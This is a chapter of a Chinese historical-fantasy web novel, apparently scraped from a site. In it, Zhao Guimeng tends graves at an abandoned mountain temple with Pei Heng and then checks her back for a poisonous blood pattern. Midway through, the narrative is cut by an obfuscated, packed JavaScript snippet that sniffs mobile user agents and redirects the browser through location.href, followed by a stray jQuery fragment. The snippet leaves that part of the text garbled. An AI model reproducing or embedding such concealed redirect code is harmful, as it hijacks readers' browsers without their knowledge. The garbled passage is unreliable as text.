苍云岭的山巅常年为冰雪覆盖,像衔接天云,因此得名。山路陡峭难行,密林杂乱丛生。山腰以下,还有人迹。再往上,几乎就没人会来了。
这条幽深的小路,深刻地印在赵归梦的脑子里。哪怕已经离开三年,她也能闭着眼睛上山。抬头往上是一片刺目的白。在夕阳下,雪地闪烁着金光。在将至山顶之前,赵归梦停了下来。
穿过半片密林,映入眼帘的是一座古朴的寺庙。寺庙安静至极,山门倒还完整。只是西侧的庙宇已经坍塌,被枯枝败叶覆盖。
赵归梦抬腿进去,向右拐,顺着脱漆的红墙往里走。红墙上有斑驳的鞭痕,一道一道,寂寞无声。路过后方的禅堂,脚步未停,继续朝东北角走,穿过一道洞门,来到了一片临着悬崖的空地。
悬崖东边迎着日出的地方,坐落着十几座没有墓碑的坟茔。
赵归梦环顾四周,神情有几分伤感和怀念。她走到第一座坟前,蹲下身去开始拔草。这些枯草的根扎得很深,积极与突如其来的厄运做着最后徒劳的抗争。她一面清理一面道:“大和尚,没想到我这么快就回来了吧?我跟你说,我去了你的故乡,瑞京。那里的水是甜的,我都舍不得回来啦……”
她断断续续地说着,渐渐听见风中传来隐隐约约的脚步声。赵归梦虽然没有过耳不忘的好本事,但自小就对人的脚步声非常灵敏。
是敌是友,一听便知。遇到比较特殊的脚步声,她甚至能牢牢地记住。这脚步声听起来毫无威胁,她便也没有抬头,专心与杂草作斗争。
一直等到那脚步声越来越近,最后停在了她旁边,赵归梦才抬起头,露出因为与杂草抗争而显得有几分不耐的小脸。她有些头晕,眯了眯眼:“裴珩?”
她看了一眼他的衣袍,青色锦缎,白色襟口绣着竹纹,肃肃如松下风。这个时候她才后知后觉地想到,那日在杏林药铺,裴珩撒了个谎。他身上起的红疹,应该是穿不了粗布麻衣而引起的肌肤不适。但他没有承认。从救下他再到来朔州的这一路,其实非常狼狈。风餐露宿、饔飧不继,两人被迫共乘一骑,没有马车,甚至也没有合身的衣服。
在她自己看来,这些与她之前的生活相比,其实算是不错了。当时她才不会考虑裴珩的感受——他拿着她渴求的东西,却不愿意交给她。这一路又几乎无法自如行动,全靠着她,当然得听她的了。
若是她早知道那晚是他的话,或许她愿意掏空荷包,让他这一路舒坦一点。现在,她自认为两清了。裴珩既然不愿意交出那东西,她也不想再勉强,自然也不想跟裴珩有任何牵扯。
想到这里,赵归梦甚至非常善意、非常礼貌地笑了笑,心中却疑惑这人为何会出现在这里?
裴珩看她因为与杂草作战而沾了两手的泥,问:“赵门使认识这些坟茔之主?”
赵归梦动作略顿了顿,摇头扯谎:“不认得。”
她还没有意识到,自己在功夫上的造诣与在扯谎上的本领乃是此消彼长的关系。她的谎言像照夜清一样张扬,且惹人注意。
裴珩道:“那赵门使这是……”
赵归梦怕他纠缠,说:“我猜他们生前应该都是这座山寺里的和尚。和尚嘛,替他们扫扫墓,兴许他们能在菩萨面前说说我的好话。”
裴珩似乎信了,不经意地说:“我听闻,僧侣圆寂多用火葬。这件寺庙有骨灰塔,却用土葬。”
三年前,他发现了这座荒废的寺庙和寺庙后面的悬崖。自此,这里便成了他在朔州最爱的场所。这三年来,除了他以外,无人路过这些孤独的坟茔。
落在赵归梦耳中,不啻于惊雷:“谁知道呢,也许他们就是不一样吧。”
赵归梦又生拉硬拽了两根草,发觉裴珩还没走,抬脚走到悬崖边,冷风猎猎,鼓起他的衣袍,吹动他肩后的长发。
往下看,朔州与庆州尽收眼底,灰色的土地上有错落的楼宇,如棋盘。站得够高,就看到底下的人渺小至极,像蝼蚁、像蜉蝣,唯独不像人,似乎只要轻轻地一挥手,就能抹去他们全部的痕迹,就像当年数万人的尸身被抹去痕迹那样。
宇宙浩浩谁诗鸣,遗响闃寂如英茎①。宇宙澄寂,蜉蝣沧海。他垂下眼睫,一切了然无趣。
出于行走在刀尖剑口的习武人天生对生死之感的敏锐,赵归梦皱了皱眉,道:“这里可没有羊肠再救你裴大人一命。”
她疑心裴珩是自知命不久矣而心生沮丧,难得生出了一分好心肠,安慰他:“急什么,说不定良医就找到了绒芒花呢。”
裴珩回过头来,忽然轻笑了一声。
简直是莫名其妙。赵归梦道:“算了算了,你来帮我拔草吧。”
心存死志之人若是能找到事情做,反倒不会想寻死了,这还是大和尚当初为了让她干活而强塞给她的道理。哪怕当时赵归梦明确表示她没有想寻死,后来她才明白她有没有寻死不重要,重要的是大和尚想让她干活。
裴珩撩起袍角,单膝蹲了下来。曲折蜿蜒的根茎站着泥土,被拔出来时,土壤裂开,发出轻微的松动声。这是草芥生命尽头发出的微弱的不甘叹息。
他自幼金尊玉贵、仆从环绕,读的圣贤书,走的是名臣道。因握笔太久而长出的茧子不适应拔草的动作。可手上沾了泥土,心里却清净了。
赵归梦神思悠悠,想到了七日醉,又想到绒芒花,思绪几经翻转,问:“你们当年救的那个……小姑娘,她背后真的有跟你手臂上一样的血纹吗?”
她从来没有看过自己的后背。这么多年以来,即使后背受伤,她也从不让人近身,寻着痛处胡乱擦着药膏,或者根本就不擦。她皮糙肉厚,忍忍就习惯了,反正伤口总会痊愈。
那天以后,她忽然很想看看自己的后背。可是她没由来的又觉得害怕,一拖再拖,拖到了现在。
裴珩:“是。”
当时本是让婢女帮忙脱掉那层被血浸透的衣物,岂料婢女突然尖叫出声,吓得连连后退,良医救治的时候,竟不敢上前。他便前去帮忙,也就看见了那一处惨烈的刀伤,以及遍布整个背部的血纹。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15373687|168239||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“那一定很可怕。”赵归梦不由得停下手里的动作,喃喃自语。
“不可怕。”裴珩却轻轻摇头。
赵归梦闻言,抬头看他一眼,想从他的表情里辨别真伪。当日看他手臂,只有数道交错的赤色纹络,已然觉得惊心。如果遍布整个背部,怎会不可怕?
似乎从她的眼神中发觉她的不信任,裴珩便道:“当时不知道那是致命的毒,反不觉得可怕。只看到差点贯穿心肺的刀伤,要可怕得多。”
他不知道后续。那夜之后,他无法再留在朔州,不顾阻拦,前往庆州。只是还没有到,便得知大哥身死的消息。心神俱恸之下,他也顾不上去思考女童后背诡异的血纹。
他看了一眼赵归梦,又垂下眼睫,敛去眸中的深光。
月亮初升,夜风乍起,两人终于清理完了这十几座坟茔。赵归梦随意用裙角下摆擦了擦手上的泥土,忽见裴珩朝她递来一张雪白的帕子。赵归梦不接,他又收了回去,道:“跟我来。”
赵归梦不知他要去哪,还是跟着去了。
穿过半座荒芜的古寺,竟然有泉水叮咚的声音,这是一条小溪,是山上的雪融化了形成的。
赵归梦其实很熟悉这里,大和尚熟悉的声音似乎又在她耳边响起。
“一个和尚挑水喝,两个和尚没水喝。”他坐在树枝上翘着脚,看她挑着两桶水,优哉游哉,“幸好咱俩之间,只有我一个和尚。”
赵归梦气得鼓起了嘴:“那你这个和尚不挑水,让我这个小孩来挑?”
她身形还小,力气不足,两腿晃晃,桶里的水还在往外飞溅。
大和尚笑着说:“谁让你打不过我?”
“等着,我迟早有一天打过你!”赵归梦咬牙切齿,主要是因为水桶太重了。
“好,我等着。”
……
“此处水清冽甘甜,”裴珩的声音打断她的回忆,“我也是无意间发现的。”
水是熟悉的寒凉。
“你经常来这吗?”赵归梦问。
裴珩见她手上沾了水,又要用裙摆去擦,再次递上那张雪白的帕子。
赵归梦这次倒没有拒绝。
“偶尔会来,”裴珩见她擦完手,又把帕子接了过来,“这里风景别致。”
两人朝山下走去。赵归梦走在前面,裴珩看着她熟练地绕过松动的石头和伸出的藤蔓,步履从容,回头看了一眼被夜色和树枝掩盖大半的古寺。
到了山脚,赵归梦匆匆道了别,就赶紧往别院去。她心想,她今晚一定要看看自己的后背到底有没有那诡异的纹路。
婢女那有精致的铜镜,听闻她要用,连忙送了过来。心里还嘀咕,赵门使为何不爱照镜子呢?她若有那样一张脸,必然天天揽镜自照。
赵归梦关上房门,做贼心虚般地轻手轻脚。她褪去衣衫,慢慢地举起镜子,下定了决心,才小心翼翼地回头,看向镜中。
少女的背部白皙窈窕,只有一道三寸长的刀疤,并无一丝血纹。